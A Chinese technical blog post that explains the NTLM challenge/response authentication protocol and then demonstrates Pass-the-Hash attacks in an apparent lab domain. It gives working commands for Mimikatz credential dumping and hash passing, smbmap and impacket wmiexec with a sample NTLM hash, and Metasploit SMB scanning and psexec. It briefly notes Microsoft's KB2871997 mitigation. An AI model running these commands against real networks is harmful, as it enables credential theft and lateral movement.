NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。

0x01 NTLM协议

In a Windows network, NT (New Technology) LAN Manager (NTLM) is a suite of Microsoft security protocols intended to provide authentication, integrity, and confidentiality to users.NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN), an older Microsoft product. The NTLM protocol suite is implemented in a Security Support Provider, which combines the LAN Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in a single package. Whether these protocols are used or can be used on a system is governed by Group Policy settings, for which different versions of Windows have different default settings. NTLM passwords are considered weak because they can be brute-forced very easily with modern hardware.

这段话摘自:

https://en.wikipedia.org/wiki/NT_LAN_Manager

大概说到NTLM协议是LM(LAN Manager)协议的后继产品,其协议套件中包含LMNTLM v1NTLM v2NTLM2 Session四种协议,具体该使用哪一种由组策略决定。不同版本的Windows版本具有不同的默认设置。其中也提到了NTLM协议是一种不安全的认证模式。

NTLM基于Challenge/Response (质询/响应)认证机制。整个认证流程分为三部分:协商质询身份验证

1. 协商

客户端向服务器发送协商消息,此消息允许客户端向服务器指定其支持的NTLM选项,其中就包括需要登陆的用户名,协议版本信息,签名等等。可详见官方文档NEGOTIATE_MESSAGE

2. 质询

这一个过程中服务器接收到了客户端的协商信息,服务器会产生一个Challenge,之后加密验证会依赖于Challenge

challenge: A piece of data used to authenticate a user. Typically a challenge takes the form of a nonce.

这是来自微软官方的解释,就是说Challenge是用于验证用户身份的一条数据。通常,Challenge采用随机数的形式。

1
NTLM v1这里生成的是8位的Challenge,而NTLM v2是16位的Challenge。

服务器使用登录用户名对应的NTLM Hash加密Challenge, 得到一个Net NTLM Hash。同时将之前生成的随机数Challenge等信息发送给客户端。

客户端接受到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response,然后将Response等信息发送至服务器端。

1
NTLM v1这里的加密算法采用DES,NTLM v2采用HMAC-MD5。

3. 身份验证

服务器端接收到客户端发送的Response,将Response与自己计算得出的Net NTLM Hash进行比较,如果相等,则认证通过。

![1](https://oss.zjun.info/zjun.info/1 (1).png)

0x02 Pass The Hash攻击

1. 原理

前面说到了Windows的网络认证,依靠NTLM协议,是一种点对点的认证交互模式,没有类似于Kerberos协议的信托机构。

并且在验证过程中也是没有使用到明文密码的,可以发现在客户端向服务端发起身份验证中主要的认证步骤在于向服务端发送Response,这意味着在某一种情况下,你在工作组或域环境中拿到了一台主机的权限,并读到了它的NTLM hashLM hash,这时想要破解出明文密码可能会有难度,所以你选择依靠这个hash,在工作组或域内登陆更多的主机,因为在内网,密码一致的情况非常常见。

所以你可以伪装成客户端向服务端发起NTLM协议的认证,通过服务端对客户端发送的Challenge再加上你得到的hash,生成一个Response,就可以完整实现整个认证流程。

这个攻击方式就称为哈希传递(Pass The Hash)。

2. 攻击利用

下面介绍几种利用方式

Mimikatz

1
2
privilege::debug
sekurlsa::logonpasswords

2

利用当前的NTLM hash进行传递:

1
sekurlsa::pth /user:administrator /domain:zjun.com /ntlm:79c89e2e7418467a4e7b55f8307260ca

3

Smbmap

SMBMap是一个SMB枚举工具,功能很强大,可以命令执行,同时也支持哈希传递。

1
2
python3 smbmap.py -u administrator -p '00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca' -H 192.168.21.200 -r 'C$\Users'
# 前面的32个0表示的是LM hash,但是目标主机是win 2012默认不开启LM hash,所以这里随意填入32位长度的字符即可。

4

Wmiexec

python源码:

https://github.com/SecureAuthCorp/impacket/edit/master/examples/wmiexec.py

1
2
python3 wmiexec.py -hashes 00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca ZJUN/administrator@192.168.21.200 "whoami"
# 前面的32个0表示的是LM hash,但是目标主机是win 2012默认不开启LM hash,所以这里随意填入32位长度的字符即可。

5

windows exe版本:

https://github.com/maaaaz/impacket-examples-windows

6

Metasploit psexec模块

直接hash喷射整个内网段不免缓慢,由于其依赖于445139等端口,所以可以先扫一下段内端口开放主机。

1
2
3
4
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.21.0/24
set threads 100
run

7

再利用psexec模块进行哈希传递。

1
2
3
4
5
6
use exploit/windows/smb/psexec
set lhost 192.168.0.102
set rhosts 192.168.21.200
set smbuser administrator
set smbpass 00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca
run

8

此外还有如CrackMapExecsmbexec等工具。

对于这一缺陷,微软发布了KB2871997补丁,在打了该补丁后,对于SID500的账户,无论用户名,Pass The Hash无法成功。

1
wmic useraccount get name,sid

9